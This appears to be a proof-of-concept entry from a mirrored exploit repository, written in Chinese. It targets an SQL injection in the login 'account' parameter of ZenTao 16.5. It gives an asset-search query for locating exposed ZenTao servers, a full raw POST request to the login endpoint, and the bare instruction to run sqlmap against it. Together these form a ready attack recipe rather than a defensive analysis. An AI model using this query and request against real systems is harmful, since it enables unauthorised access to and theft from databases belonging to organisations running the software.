mirror of
https://github.com/eeeeeeeeee-code/POC.git
synced 2025-11-06 19:07:11 +00:00
39 lines
1.6 KiB
Markdown
39 lines
1.6 KiB
Markdown
# 禅道 16.5 account SQL注入漏洞
|
||
|
||
# 一、漏洞简介
|
||
禅道由青岛易软天创网络科技有限公司开发，国产开源项目管理软件。它集产品管理、项目管理、质量管理、文档管理、组织管理和事务管理于一体，是一款专业的研发项目管理软件，完整覆盖了研发项目管理的核心流程。禅道 16.5 router.class.php 文件存在SQL注入漏洞，攻击者通过漏洞可以获取数据库敏感信息，危害服务器安全。
|
||
|
||
# 二、影响版本
|
||
+ 禅道16.5
|
||
|
||
# 三、资产测绘
|
||
+ hunter`app.name="ZenTao 禅道"`
|
||
+ 特征
|
||
|
||
|
||
|
||
# 四、漏洞复现
|
||
```plain
|
||
POST /zentao/user-login.html HTTP/1.1
|
||
Host: xx.xx.xx.xx
|
||
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/119.0
|
||
Accept: application/json, text/javascript, */*; q=0.01
|
||
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
|
||
Accept-Encoding: gzip, deflate
|
||
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
||
X-Requested-With: XMLHttpRequest
|
||
Content-Length: 137
|
||
Connection: close
|
||
Cookie: zentaosid=83503a42384249100e644a077c476c0c; lang=zh-cn; device=desktop; theme=default; windowWidth=1512; windowHeight=763
|
||
|
||
account=admin&password=91366fe23f8bf94e543b036e8fbcbc9c
|
||
```
|
||
|
||
sqlmap
|
||
|
||
|
||
|
||
|
||
|
||
> 更新: 2024-02-29 23:55:51
|
||
> 原文: <https://www.yuque.com/xiaokp7/ocvun2/kw41ggrplhegs76s> |